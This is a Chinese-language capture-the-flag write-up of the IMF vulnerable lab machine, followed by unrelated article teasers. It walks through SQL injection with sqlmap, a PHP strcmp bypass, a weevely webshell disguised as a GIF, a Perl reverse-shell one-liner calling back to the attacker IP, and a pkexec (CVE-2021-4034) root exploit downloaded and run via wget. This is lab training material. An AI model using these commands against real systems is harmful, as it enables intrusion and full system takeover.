【IMF靶场渗透】

server/2024/12/2 8:59:27/

文章目录

一、基础信息

二、信息收集

三、flag1

四、flag2

五、flag3

六、flag4

七、flag5

八、flag6


一、基础信息

Kali IP:192.168.20.146

靶机IP:192.168.20.147

二、信息收集

Nmap -sP 192.168.20.0/24

Arp-scan -l

nmap -sS -sV -p- -A 192.168.20.147

端口扫描开放了80端口,web.server:apache http-server 2.4.18

操作系统:ubuntu

访问一下查看页面信息

发现一些邮件地址和人名:

Roger S. Michaels ;rmichaels@imf.local ;Director (主任)

Alexander B. Keith ;akeith@imf.local ;Deputy Director (副主任)

Elizabeth R. Stone ;estone@imf.local ;Chief of Staff(办公室主任)

猜测用户名为:rmichaels,akeith,estone

目录探测

好像没啥发现

三、flag1

查看页面源代码发现flag1,看起来像base64编码,尝试解码,发现为:allthefiles

尝试拼接为目录发现失败,另外上面也有疑似base64编码的字符

四、flag2

看wp发现是把他们连接起来进行base64解码得到flag2,这个没想到,解码得到明文:imfadministrator

再次拼接目录得到页面,想到sql注入或者暴力破解等

查看页面源代码发现作者不建议用sql注入

这里尝试使用上面得到的用户名信息进行测试,测试发现可以先判断有无用户再猜测密码

用户名上面有分析到rmichaels;akeith;estone

发现存在rmichaels用户,可以尝试爆破一下密码,但是测试了一会儿没搞出来

看了wp,这里是进行绕过,因为这里讲到了硬编码,一般使用了一个strcmp()函数的漏洞

strcmp()函数的特点是比较输入值和指定的一个数字

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)die('Flag: '.$flag);elseprint 'No';
}
?>

a输入为非字符串类型数据,就会报错,自动return 0;一般绕过方式是用数组绕过

这个时候我们可以以数组的方式传输数据,使其报错。

五、flag3

得到了flag3和一个路径

flag3{Y29udGludWVUT2Ntcw==}

解码为:continueTOcms

<a href='cms.php?pagename=home'>IMF CMS</a>

路径:http://192.168.20.147/imfadministrator/cms.php?pagename=home

但是这里cms不知道是啥,不好入手,观察到路径参数可以尝试SQL注入,抓取数据包注入

sqlmap -r sql.txt

然后继续查看里面的内容

sqlmap -r sql.txt --current-db

sqlmap -r sql.txt -D admin --tables

sqlmap -r sql.txt -D admin -T pages --columns 

sqlmap -r sql.txt -D admin -T pages -C id,pagedata,pagename --dump

六、flag4

看到提示有两个图片,下载下来有一个有一个二维码,扫码得到

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码为:uploadr942.php

访问为一个文件上传页面,根据上面信息收集知道后台为php语言开发,思路为上传php木马。

先正常上传一个图片文件,成功后通过查看源代码看到重命名后的名字,猜测上传路径后可正常访问。

路径为:http://192.168.20.147/imfadministrator/uploads/4eba680d7790.jpg

得到上传路径后尝试上传一句话木马发现,有waf提示不能使用eval等函数,以及不能上传php类文件。尝试黑名单后缀名绕过但没成功,写入命令执行时jpg文件没有生效,gif文件可以,应该是.htaccess文件中有AddHandler application/x-httpd-php .gif,可将gif文件解析为php。

后面参考了其他wp的思路,结合起来选择了比较简单方法。

Weevely工具

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的。

先利用Weevely工具生成一个gif后门文件

weevely generate hp shll.gif

但是注意需要自己在后门文件开头加GIF89a头,不然不能成功上传

文件地址:http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif

工具连接:weevely http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif hp

连接成功后可查看到flag5

七、flag5

解码后明文为:agentservices

此时shell并不是稳定的shell连接,这个时候我们需要重新反弹一个shell到kali

nc -lvvp 8080

利用python未成功,采用了perl命令

perl -e 'use Socket;$i="192.168.20.146";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python3 -c 'import pty;pty.spawn("/bin/bash")'

此时应该进行提权了,这里提权方式参考各wp主要有两种,一种是内核提权,另一种就是根据靶机提示的后续缓冲区溢出提权(比较复杂,可自行搜索学习),这里用的是内核方面的方法

主要参考:

https://blog.csdn.net/weixin_60374959/article/details/127923839

https://www.cnblogs.com/l2sec/p/14410182.html

uname -a

lsb_release -a

系统为ubuntu 16.04.1

这里用到一个提权漏洞:CVE-2021-4034:Linux提权漏洞,主要原因在于Polkit包下的Pkexec工具存在内存损害,允许非特权用户利用提升到ROOT。

Pkexec是系统预装的工具,所以主流的都会受到影响,像Ubuntu、Debian、Fedora、Centos等,从2009年起所有的Pkexec都会受到攻击。

find / -perm -u=s -type f 2>/dev/null //列出具有suid位的文件

这里可以用已有的exp:cve-2021-4034(至于什么能想到这个,我也不清楚,靠多方面尝试吧)

下载地址:https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

下载完上传到靶机

python -m http.server 8080                                --kali开启服务
cd /tmp                                                   --靶机进入tmp目录
wget http://192.168.20.146:8080/cve-2021-4034-poc.c       --靶机下载poc
gcc cve-2021-4034-poc.c -o exp                            --靶机反编译
chmod +x exp                                              --给与执行文件权限
./exp                                                     --执行文件

八、flag6

权限为root,可查看到Flag6,解码为Gh0stProt0c0ls

完成!

这次靶机操作下来感觉给的提示很紧密,难度感觉也有点偏高,还是学习到了很多。


http://www.ppmy.cn/server/146662.html

相关文章

三数求大 C语言

题目描述 从键盘获取三个整数,从大到小输出这3个数字. 代码实现 两个数交换,需要用到第三个变量tmp:

error MSB8041:此项目需要MFC库。从visual studio安装程序(单个组件选项卡)为正在使用的任何工具和体系结构安装他们

系列文章目录 文章目录 系列文章目录前言一、问题原因二、解决步骤1.打开Visual Studio Installer2.修改3.使用c的桌面开发&#xff0c;先把勾选去掉&#xff0c;然后再重新勾选&#xff0c;这样右侧会自动匹配对应的MFC版本5.visual studio installer更新到最新版本3.单个组件…

docker 在ubuntu系统安装,以及常用命令,配置阿里云镜像仓库,搭建本地仓库等

1.docker安装 1.1 先检查ubuntu系统有没有安装过docker 使用 docker -v 命令 如果有请先卸载旧版本&#xff0c;如果没有直接安装命令如下&#xff1a; 1.1.0 首先&#xff0c;确保你的系统包是最新的&#xff1a; 如果是root 权限下面命令的sudo可以去掉 sudo apt-get upda…

Redis和MySQL之间如何进行数据同步

原因 为什么要进行Redis和MySQL的数据同步&#xff1f; 性能优化&#xff1a;MySQL是关系型数据库&#xff0c;数据读取和存储相对复杂&#xff1b;Redis是内存数据库&#xff0c;读写速度极快&#xff0c;将热点数据存在Redis&#xff0c;可以大大提高系统的访问速度。 数据…

状态模式 (State Pattern)

文章目录 状态模式 (State Pattern)原理优点缺点示例代码场景描述1. 定义状态接口2. 定义具体状态类3. 定义上下文类4. 客户端代码输出结果 UML 类图使用场景扩展与优化小结 状态模式 (State Pattern) 状态模式是一种 行为型设计模式&#xff0c;允许对象在其内部状态改变时改…

CSS学习记录01

什么是CSS&#xff1f; CSS指的是层叠样式表&#xff08;Cascading Style Sheets), CSS描述了如何在屏幕、纸张或其他媒体上显示HTML元素&#xff0c; CSS可以同时控制多张网页的布局&#xff0c;因此节省了大量的工作。 外部样式表存储在CSS文件中。 *&#xff1a;也称为级联…

一条select语句的执行流程

select的工作原理 套接字(socket)&#xff1a; 是一个编程接口&#xff0c;允许位于不同主机&#xff08;甚至同一主机上的不同进程&#xff09;之间的进程进行双向通信 套接字可以用来发送和接收数据&#xff0c;实现不同计算机或进程之间的网络通信 在网络分层模型中&…

1.2 算法和算法评价

1.2.1 算法的基本概念 算法&#xff1a;对特定问题求解步骤的一种描述&#xff0c;它是指令的有限序列&#xff0c;其中的每条指令表示一个或多个操作。 算法的五个重要特性 “好”的算法的五个目标 1.2.2 算法效率的度量 一、时间复杂度 算法的时间复杂度是指一个算法每行…